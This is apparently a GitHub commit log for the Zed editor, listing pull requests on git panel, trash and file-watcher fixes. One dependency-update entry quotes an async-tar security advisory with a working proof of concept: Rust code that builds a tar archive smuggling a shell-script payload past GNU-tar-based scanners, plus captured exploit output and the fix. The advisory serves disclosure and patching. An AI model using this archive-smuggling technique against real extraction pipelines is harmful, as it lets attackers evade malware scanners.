fbda4f862a2fb03b854636b17bd04be3db3d94de
404
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
4ee16d3650 |
Fix the macOS tests that hang locally (#61407)
See also https://github.com/zed-industries/notify/pull/9 <img width="2088" height="266" alt="image" src="https://github.com/user-attachments/assets/f4bc0b5c-76a9-424a-9abc-abde6e56b9db" /> Release Notes: - N/A |
||
|
|
2328aebf25 |
git_panel: Show staged and unstaged diff stats (#60815)
# Objective - Show accurate diff stats for each staged and unstaged projection of a partially staged file in the Git panel. - This was originally considered for https://github.com/zed-industries/zed/pull/59884, but was scoped out of that already-large PR and is being submitted separately as discussed there. ## Solution - Collect HEAD-to-index and index-to-worktree diff stats alongside the existing combined HEAD-to-worktree stats. - Carry the staged and unstaged stats through repository status snapshots and remote status serialization. - Use the stat matching the projected Git panel section while preserving the combined stat for the other grouping modes. - Update the fake Git repository and add regression coverage with deliberately different staged and unstaged counts. ## Testing - `cargo check -p git_ui` - `cargo check -p collab` - `cargo test -p git_ui test_group_by_staging_section_membership_and_order --lib` - `cargo test -p project --lib --no-run` - `cargo fmt --all -- --check` - `git diff --check` ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - Fixed diff stats for partially staged files in the Git panel |
||
|
|
23ee3ba37d |
project_panel: Add remote support for undo/redo system (#59709)
# Objective Add remote (SSH) and collaboration support for trashing and restoring files in the project panel, which in turn enables undo/redo of trash operations against remote and collab projects. Relates to #5039. ## Solution - Updated the project panel undo system to carry `TrashId` instead of `TrashedEntry`. - Using `TrashedEntry` could get hairy, as it includes paths, which wouldn't play too nicely when using, for exapmle, macOS as the client and Windows as the host. Using a simple identifier is much easier in this regard and simplifies implementation. - Enabled the Trash action and context-menu entry on remote projects, and removed the command palette filter in `ProjectPanel::new` that was still hiding the action on remote. - As far as I can tell, there isn't a reliable way to detect whether a given remote actually supports the OS trash, so we expose the action everywhere rather than guessing. On a remote without trash support the action will fail when invoked but this is a conscious tradeoff until we find a better way to handle this. - `fs` now tracks trashed files in a `SlotMap<TrashId, TrashedEntry>` on each `Fs` implementation. Trashed files are referenced by an opaque `TrashId` instead of passing a `TrashedEntry` around, which avoids serializing filesystem paths in remote messages. - Split the old `delete_entry(trash: bool)` API into distinct `trash_entry`/`trash_file` (returning a `TrashId`) and `delete_entry`/`delete_file` across `Project`, `Worktree`, `LocalWorktree` and `RemoteWorktree`. - This lets us drop the optional trash result (`Option<TrashedEntry>`) from the delete path and require a `TrashId` from the trash path. - Added new proto messages (`TrashProjectEntry`, `TrashProjectEntryResponse`, `RestoreProjectEntry`, `RestoreProjectEntryResponse`) to let clients request the host to trash or restore entries. - This deprecates `DeleteProjectEntry::use_trash`, but the host still honors it. An older collab peer may request trashing via that flag instead of the newer `TrashProjectEntry`. If the host ignored it, a newer host would permanently delete a file the user meant to send to the trash. The field will be removed in a later PR once all supported peers use `TrashProjectEntry`. ## Testing The following tests were introduced to ensure the new behavior is correctly tested: * `remote_server::remote_editing_tests::test_remote_trash_restore` – Tests trashing a project entry in remote * `remote_server::remote_editing_tests::test_remote_delete_project_entry_with_trash` – Test to ensure we continue respecting `DeleteProjectEntry::use_trash` until it is fully removed * `project_panel::tests::undo::trash_directory_undo_redo` – Not related to these changes but a nice to have as we were missing a test ensuring that trashing and then undoing and redoing it for a directory works as expected Besides these, the following scenarios were manually tested against a remote session on the same machine (macOS): - Trashing → Undo (Restore) → Redo (Trashing) - Batch Trashing → Undo (Batch Restore) → Redo (Batch Trashing) - Rename → Undo (Rename) → Redo (Rename) - Move → Undo (Move) → Redo (Move) - Batch Move → Undo (Batch Move) → Redo (Batch Move) ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable Release Notes: - N/A --------- Co-authored-by: Yara <git@yara.blue> |
||
|
|
6b6393fb0b |
Split out RelPath into a separate crate (#61029)
This is necessary to remove some `util` dependencies from crates, as well as better sharing for our projects. This also includes the WIP AbsPath abstraction as well as some bug fixes from internal tooling. Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
084cf7b50f |
Update Rust crate async-tar to 0.6.0 [SECURITY] (#60623)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [async-tar](https://redirect.github.com/dignifiedquire/async-tar) | workspace.dependencies | minor | `0.5.1` → `0.6.0` | --- > [!WARNING] > Some dependencies could not be looked up. Check the [Dependency Dashboard](../issues/15138) for more information. --- ### async-tar PAX extension-header desync enables tar entry/content smuggling [CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) / [GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) <details> <summary>More information</summary> #### Details ##### Summary `async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an intermediary extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX `x`/`g` header) instead of to the next *file* entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary `L` — the stream cursor is advanced by an attacker-chosen amount when the `L` body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. An attacker who can influence a tar stream that an `async-tar` consumer extracts can construct an `x → L → file` sequence whose entry list and on-disk result differ between `async-tar` and a reference parser. This enables content/entry smuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque data is extracted by `async-tar` as a different file with different bytes (e.g. an executable script), and vice versa. Type confusion / improper validation of the specified quantity (size). CWE-20, CWE-843. Severity assessed Medium, consistent with the same defect class in the upstream tar-rs / tokio-tar lineage. ##### Affected code Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest release) and current `main` HEAD. Both lack the extension-header guard. `src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag, commit `45814b19295b7398e119c90c57d8c8bf70a798b6`): ```rust let file_pos = *next; let mut header = current_header.take().unwrap(); // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data { // <-- no is_extension_header guard let pax = pax_extensions(pax_extensions_data); for extension in pax { let extension = extension.map_err(|_e| other("pax extensions invalid"))?; let Some(key) = extension.key().ok() else { continue }; match key { "size" => { let size_str = extension.value() .map_err(|_e| other("failed to parse pax size as string"))?; size = size_str.parse::<u64>() .map_err(|_e| other("failed to parse pax size"))?; } "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); } "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); } _ => { continue } } } } let data = EntryIo::Data(archive.clone().take(size)); // body length = mis-applied PAX size ``` and a few lines further down the same function: ```rust // Store where the next entry is, rounding up by 512 bytes. let size = (size + 511) & !(512 - 1); *next += size; // cursor advance = mis-applied PAX size ``` The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX local extension into `current_pax_extensions` and then calls `poll_next_raw` with `current_pax_extensions.as_deref()` for the *next* raw header. When that next raw header is an intermediary GNU longname (handled by the `is_gnu_longname()` branch a few lines later), the PAX `size` is applied to it, so `*next` advances by the spoofed size rather than the `L` header's own declared size. That is the desync. The buffered PAX records are intended to apply only to the following *file* entry; the missing check is whether the raw header currently being sized is itself an extension header (`L`/`K`/`x`/`g`). ##### Impact Differential extraction / entry smuggling. A consumer that extracts an attacker-influenced tar stream with `async-tar` (e.g. a server endpoint that unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that unpacks a remote tarball, an archive-preview/scan pipeline) will: - materialize files / file contents that a POSIX-correct parser (GNU tar, libarchive/bsdtar) does not surface, and - omit or alter files that the reference parser does surface. This breaks any security control that relies on scanning the archive with one parser and extracting with `async-tar`: a malware/secret scanner reading the stream with GNU tar can be made to see only benign data while `async-tar` writes an executable payload to disk. It can also be used to hide entries from audit/inventory tooling, or to write content to a path the reviewer believes holds something else. No attacker-controlled local state is required — only the ability to influence the bytes of the tar stream that the consumer extracts. ##### How input reaches the sink (reachability) The vulnerable path is the library's primary public API for reading archives: `Archive::new(reader).entries()` returns an `Entries` stream whose `poll_next` drives `poll_next_raw` for every header. Any consumer that iterates entries (or calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream reaches the sink with no additional configuration. The `reader` need not be a file — it is any `AsyncRead`, so an upload buffer, an HTTP response body, or a decompressor output all qualify. The only precondition for the desync is that the stream contain a PAX local-extension header (`x`) carrying a `size` record immediately followed by an intermediary GNU longname (`L`) before the next file header — a structure the attacker fully controls in the archive bytes. Representative reachable consumers are server endpoints that unpack uploaded `.tar`/`.tar.gz` bodies, dependency/artifact fetchers that unpack remote tarballs, and archive-scan/preview pipelines. ##### Proof of concept A standalone Rust consumer binary that links the published crates.io `async-tar = "=0.6.0"` (`default-features = false, features = ["runtime-tokio"]`) and runs the real `Archive::new(...).entries()` extraction loop (the same shape used by real downstream server consumers that unpack uploaded tarballs). It reads a tar file and writes each entry to a destination directory, printing the entry list `async-tar` surfaces. A second binary hand-crafts the malicious and benign tar byte streams. Malicious archive geometry (block = 512 bytes): ``` B0 x PAX local-extension header, records declare size=1024 (= 2 blocks) B1 PAX records ("<len> size=1024\n") B2 L GNU longname header, OWN declared size = 512 (= 1 block) B3 longname block #​1 = "GNU_SEES_THIS.txt\0..." (the name GNU tar uses) B4 a normal file header "placeholder_A" (size 512) B5 <-- this block IS a valid tar header for the smuggled file "hidden_payload.sh" (size 65) B6 smuggled payload "#!/bin/sh\n# SMUGGLED ENTRY...\n" B7,B8 two zero blocks (EOF) ``` GNU tar honours the `L` header's own declared size (1 block) for the longname and ignores the buffered PAX `size`, so it reads B3 as the longname, treats B4 as the file, and reads B5 as that file's opaque data. `async-tar` mis-applies the PAX `size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands its cursor on B5, parses it as a tar header, and extracts the smuggled `hidden_payload.sh` body (B6). Tar-builder source (`mktar.rs`): ```rust use std::io::Write; const BLOCK: usize = 512; fn octal(buf: &mut [u8], v: u64) { let s = format!("{:0width$o}", v, width = buf.len() - 1); let b = s.as_bytes(); buf[..b.len()].copy_from_slice(b); buf[b.len()] = 0; } fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] { let mut h = [0u8; BLOCK]; let n = name.len().min(100); h[..n].copy_from_slice(&name[..n]); octal(&mut h[100..108], 0o644); octal(&mut h[108..116], 0); octal(&mut h[116..124], 0); octal(&mut h[124..136], size); octal(&mut h[136..148], 0); h[156] = typeflag; if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar \0"); } else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); } for b in &mut h[148..156] { *b = b' '; } let sum: u32 = h.iter().map(|b| *b as u32).sum(); h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes()); h } fn pad(out: &mut Vec<u8>, len: usize) { let rem = len % BLOCK; if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); } } fn pax_record(key: &str, val: &str) -> Vec<u8> { let mut len = key.len() + val.len() + 3; loop { let s = format!("{} {}={}\n", len, key, val); if s.len() == len { return s.into_bytes(); } len = s.len(); } } fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b } fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); } fn build_malicious() -> Vec<u8> { let mut out = Vec::new(); let gnu_name = b"GNU_SEES_THIS.txt"; let spoof = (BLOCK * 2) as u64; let mut recs = Vec::new(); recs.extend(pax_record("size", &spoof.to_string())); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); out.extend_from_slice(&header(b"././@​LongLink", BLOCK as u64, b'L')); out.extend_from_slice(&name_block(gnu_name)); // B3 out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4 let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec(); out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5 write_block(&mut out, &smuggled_body); // B6 out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn build_benign() -> Vec<u8> { let mut out = Vec::new(); let mut recs = Vec::new(); recs.extend(pax_record("path", "normal_file.txt")); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); let body = b"plain benign content\n".to_vec(); out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0')); write_block(&mut out, &body); let body2 = b"second benign file\n".to_vec(); out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0')); write_block(&mut out, &body2); out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn main() { let a: Vec<String> = std::env::args().collect(); let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) }; std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap(); } ``` Consumer source (`main.rs`, mirrors a real `Archive::entries()` extraction loop): ```rust use async_tar::Archive; use tokio::fs; use tokio::io::AsyncReadExt; use tokio_stream::StreamExt; #[tokio::main(flavor = "multi_thread", worker_threads = 2)] async fn main() { let args: Vec<String> = std::env::args().collect(); let dest = std::path::PathBuf::from(&args[2]); fs::create_dir_all(&dest).await.unwrap(); let bytes = fs::read(&args[1]).await.unwrap(); let archive = Archive::new(std::io::Cursor::new(bytes)); let mut entries = archive.entries().expect("entries()"); let mut idx = 0usize; while let Some(entry) = entries.next().await { let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } }; let path_raw = file.path().expect("path").into_owned(); let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string(); let hdr_size = file.header().size().unwrap_or(0); let mut out = dest.clone(); for comp in std::path::PathBuf::from(&path_disp).components() { if let std::path::Component::Normal(p) = comp { out.push(p); } } let mut body = Vec::new(); let read = file.read_to_end(&mut body).await.unwrap_or(0); if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; } let _ = fs::write(&out, &body).await; let preview: String = body.iter().take(48) .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect(); println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp); idx += 1; } println!("[async-tar] total entries surfaced: {idx}"); } ``` `Cargo.toml`: ```toml [dependencies] async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] } tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] } tokio-stream = "0.1" futures = "0.3" ``` ##### End-to-end reproduction Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by the consumer binary above. Verbatim captured output: ``` $ cargo build --release # links async-tar v0.6.0 from crates.io Compiling async-tar v0.6.0 Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) in 10.12s $ ./target/release/mktar malicious mal.tar wrote 4608 bytes to mal.tar ##### ---- (A) GNU tar reference: list + extract ---- $ gtar tvf mal.tar ; echo "rc=$?" -rw-r--r-- 0/0 1024 1970-01-01 08:00 GNU_SEES_THIS.txt rc=0 $ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?" rc=0 $ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt hidden_payload.sh ##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header ##### bytes of B5 — a GNU-tar-based scanner sees only benign noise.) ##### ---- (B) async-tar v0.6.0 consumer: extract ---- $ ./target/release/extract mal.tar /tmp/at_mal [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t" [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt #!/bin/sh ##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner ``` Same bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte benign blob; `async-tar` writes a 65-byte executable shell script that the reference parser never exposes as an entry. The smuggled `#!/bin/sh` body is content a GNU-tar-based scanner would never inspect. Negative control — a benign archive (correct PAX usage: `x` applies `path` to the following file, no intermediary `L`): ``` $ ./target/release/mktar benign ben.tar $ gtar tvf ben.tar ; echo "rc=$?" -rw-r--r-- 0/0 21 1970-01-01 08:00 normal_file.txt -rw-r--r-- 0/0 19 1970-01-01 08:00 second.txt rc=0 $ ./target/release/extract ben.tar /tmp/at_ben [async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content." [async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file." [async-tar] total entries surfaced: 2 ``` GNU tar and `async-tar` produce identical entry lists and identical on-disk files. No smuggling. The differential is exclusive to the `x → L → file` desync sequence. ##### Fix Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides) only when the raw header being sized is NOT itself an extension header. Skip the override for GNU longname (`L`), GNU longlink (`K`), and PAX local/global (`x`/`g`) headers, whose body length must come from their own declared size. This mirrors the fix adopted in the upstream tar-rs / tokio-tar lineage for the same defect class. ```rust // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // PAX extensions describe the NEXT file entry, not an intermediary // extension header. Applying a buffered PAX `size` to such an intermediary // header (L/K/x/g) advances the stream cursor by the wrong amount and // desyncs the parse. let entry_type = header.entry_type(); let is_extension_header = entry_type.is_gnu_longname() || entry_type.is_gnu_longlink() || entry_type.is_pax_local_extensions() || entry_type.is_pax_global_extensions(); // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) { let pax = pax_extensions(pax_extensions_data); for extension in pax { // unchanged: same size/uid/gid override loop as before } } ``` Fix-verify, captured verbatim. The patched `async-tar` (guard added) re-run against the same `mal.tar`: ``` $ cargo build --release # [patch.crates-io] async-tar = { path = "../async-tar-patched" } Compiling async-tar v0.6.0 (.../async-tar-patched) Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) $ ./target/release/extract mal.tar /tmp/at_fix [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................." [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt hidden_payload.sh ``` With the guard, `async-tar`'s view converges with GNU tar's: it surfaces `GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as data, and no longer extracts the smuggled executable script. The benign control still produces the correct two-file output. The desync is eliminated. ##### Fix PR A fix PR adding the `is_extension_header` guard to `poll_next_raw` in `src/archive.rs` is opened from the advisory's temporary private fork against this repository. It carries the diff shown in the **Fix** section above (no behavioural change for well-formed archives; only intermediary `L`/`K`/`x`/`g` headers stop inheriting a following PAX `size`). ##### Credit Reported by tonghuaroot. #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m) - [https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>dignifiedquire/async-tar (async-tar)</summary> ### [`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) [Compare Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) ### [`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0): - Tokio Support [Compare Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0) </details> --- ### Configuration 📅 **Schedule**: (in timezone America/New_York) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- Release Notes: - N/A <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119--> --------- Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Kirill Bulatov <kirill@zed.dev> |
||
|
|
f4bf1511a6 |
fs: Update trash crate version (#60899)
# Objective Fix errors in Windows when trashing files from the Git Panel. Closes #60716. ## Solution The solution and discussion is available at https://github.com/zed-industries/trash-rs/pull/3 , seeing as the fix was fully done on the `trash` crate. Original discussion of this issue can be found at https://github.com/zed-industries/zed/pull/59595 . ## Testing Testing was performed manually on a Windows machine by updating Zed's `fs` crate dependencies to point at the updated code and then building from source and testing out the same exact path, namely: 1. Create a new untracked file 2. Trash the file from the Git Panel's context menu 3. Confirm that, after confirming that you wish to trash the file, the file is trash and no error is shown Since this whole trash-tracking logic was implemented in the context of the project panel's undo system, I also confirmed that the changes in the crate's code didn't affect trashing and restoring on Windows. ## Self-Review Checklist: N/A ## Showcase <details> <summary>Before</summary> https://github.com/user-attachments/assets/120ab3ec-d631-4243-a21e-c510c27ed518 </details> <details> <summary>After</summary> https://github.com/user-attachments/assets/7ff1e373-b56d-431f-aad5-d4c5bb301e02 </details> --- Release Notes: - Fixed issue when trashing untracked files in Git Panel on Windows |
||
|
|
fb4885a55e |
Open non-writeable files in Capability::Read mode (#57202)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #57174 Release Notes: - Open non-writeable files in Capability::Read mode Co-authored-by: Lukas Wirth <lukas@zed.dev> |
||
|
|
7d3e75a787 |
git_ui: Fix history tab empty and detached HEAD states (#57959)
This PR fixes a few History tab edge cases in the Git Panel. For a fresh repo with no commits, the History tab now finishes loading and shows No commits yet instead of sitting on Loading… indefinitely or falling into a misleading empty/error state. It also fixes detached HEAD history loading. In that case, the Git Panel asks the backend to load history from the current commit SHA. The local git backend was accidentally treating the raw object ID bytes as a string instead of formatting them as a normal hex SHA, so git log could fail before returning any commits. The backend now passes the SHA in the format git expects. **Repro for empty repo:** mkdir /tmp/zed-empty-history cd /tmp/zed-empty-history git init zed . Open Git Panel → History. Before: History could stay stuck on Loading…. After: History shows No commits yet. **Repro for detached HEAD:** mkdir /tmp/zed-detached-history cd /tmp/zed-detached-history git init echo hi > file git add file git commit -m initial git checkout --detach HEAD zed . Open Git Panel → History. Before: History could fail to load commits. After: History shows the commit history normally. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Fixed Git history tab states for empty repositories and detached HEAD history. Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com> |
||
|
|
7de1701b71 |
fs: Retry watch registrations skipped during the native watch-limit cooldown (#60662)
GlobalWatcher::add returns Ok(None) while the native watch-limit cooldown is active, and FsWatcher::add_existing_path treated that as success: the path was never watched, with no retry and no error. A long-lived watch (like a repository's git directory) that happened to register during a cooldown window silently never received events. Route the skipped registration through the existing pending-path machinery, which already polls until registration succeeds and emits a rescan event for the path so that changes missed in the interim are picked up. --- Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
aa7591f73f |
fs: Skip parent watch for poll watcher symlink targets (#57049)
# Problem Since the release of the new git UI, when `~/.gitconfig` on a remote server is a symlink pointing to a file on a virtual filesystem (a common setup when using [OrbStack](https://orbstack.dev/) on macOS), Zed fails to connect with "Timed out pinging remote client". # Cause When setting up a file watcher for gitconfig, `fs::watch()` reads the symlink target and adds its parent directory to the poll watcher. `notify::PollWatcher::watch()` does a full synchronous recursive directory scan at registration time to build an initial snapshot. If the parent is something like a Mac home directory mounted via virtiofs, that scan blocks the server's main thread long enough that it can't respond to the initial ping within the 5 second timeout. # Solution The fix I implemented for this was to skip the parent directory watch when using a poll watcher. As far as I can tell, it's redundant in the poll case since the poll watcher detects changes by periodically reading metadata at the registered path, so watching the parent doesn't add anything for change detection. From my limited testing this seems to work fine but if someone with more experience in this part of the codebase would like to weigh in, that would be very much appreciated. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [ ] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable Release Notes: - Fixed remote SSH connections timing out when `~/.gitconfig` is a symlink to a file on a virtual filesystem |
||
|
|
601690391b |
git: Load buffer git diff bases with a single batched git process (#59357)
# Objective Whenever the git repository state is updated on disk (e.g., via staging, committing, branch switching, or stashing), `reload_buffer_diff_bases` is scheduled to reload the diff for all active buffers. This causes 2 git processes to be spawned for each open file which can become noticeable when many files are open https://github.com/zed-industries/zed/blob/b2617baa21a83dfcbd8361e285bb2eba84e294ec/crates/project/src/git_store.rs#L5179 ## Solution This PR introduces `load_revisions` which uses a single `git cat-file --batch` command to compute the diff for all files in the same git process. This prevents the need to sequentially schedule 2 git subprocesses per open buffer. I also changed `load_index_text` and `load_commited_text` to rely on `load_revisions` which simplifies the code. ## Testing I added a unittest and manually verified that Zed now only runs a single `git cat-file --batch` command instead of 2 `git show` processes per open buffer. On macOS I viewed the currently running git processes using: ```shell sudo eslogger exec | jq --unbuffered -r ' select(.event.exec?.target?.executable?.path? | strings | contains("git")) | (.event.exec?.args? // []) | join(" ") ' ``` ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable /cc @Veykril Release Notes: - Reduced number of git processes for calculating diff of open buffers when the repo state changes on disk |
||
|
|
151ec5abe1 |
project_panel: Continue batch delete when individual entries fail (#59595)
## Summary On Windows, `trash::delete_with_info` can return an error even when the file was successfully moved to the Recycle Bin. This is caused by a race condition in the `trash` crate: after `IFileOperation::PerformOperations` completes, it re-binds the trashed item via `SHCreateItemFromParsingName` to read its metadata, but the shell's virtual namespace cache may not yet reflect the new item, producing an error. Previously, the delete loop propagated this error and aborted the entire batch. The outer `detach_and_log_err` swallowed the error, so the user received no feedback. This PR handles each entry independently: entries that fail to delete are skipped, the loop continues, and undo history is recorded for the entries that succeeded. The upstream root cause (the post-operation re-bind race in `zed-industries/trash-rs`) will be addressed separately. Before: https://github.com/user-attachments/assets/59a95ac5-098b-42dc-bffb-f3240c6b966d After: https://github.com/user-attachments/assets/0cd6c0b3-2ee3-4bf2-a243-3e8a83d05dd7 ## Test plan - [ ] Select multiple files in the project panel on Windows - [ ] Trash them (right-click > Move to Trash, or `Delete` key) - [ ] Confirm all selected files are deleted, even if one triggers the trash-crate race - [ ] Undo restores the files that were successfully trashed Release Notes: - Improved handling of failed trash or delete operations in the Project Panel in order to display a toast informing the user that some files could not be trashed or deleted --------- Co-authored-by: dino <dinojoaocosta@gmail.com> |
||
|
|
dd05e450e6 |
Fix crash when trashing all untracked files (#60235)
# Objective
Fixes a crash when trashing a large number of untracked files from the
Git Panel, caused by unbounded OS thread spawning (thread explosion).
## Solution
`GitPanel::clean_all()` builds one deletion task per untracked file and
then awaits them one by one. Since GPUI tasks start executing as soon as
they are spawned, not when they are awaited, all deletions run
concurrently. Each of them called `RealFs::trash`, which spawned a
dedicated OS thread per call, so a large enough batch exceeded the OS
per-process thread limit and panicked at the `.expect("The os can spawn
threads")` in `RealFs::trash`.
This PR replaces the dedicated thread with `smol::unblock`, which runs
the blocking `trash::delete_with_info` call on a shared thread pool that
is capped and queues additional work instead of spawning more. This is
the same idiom already used elsewhere in the file (e.g. `atomic_write`)
for blocking filesystem work.
## Testing
- Did you test these changes? If so, how?
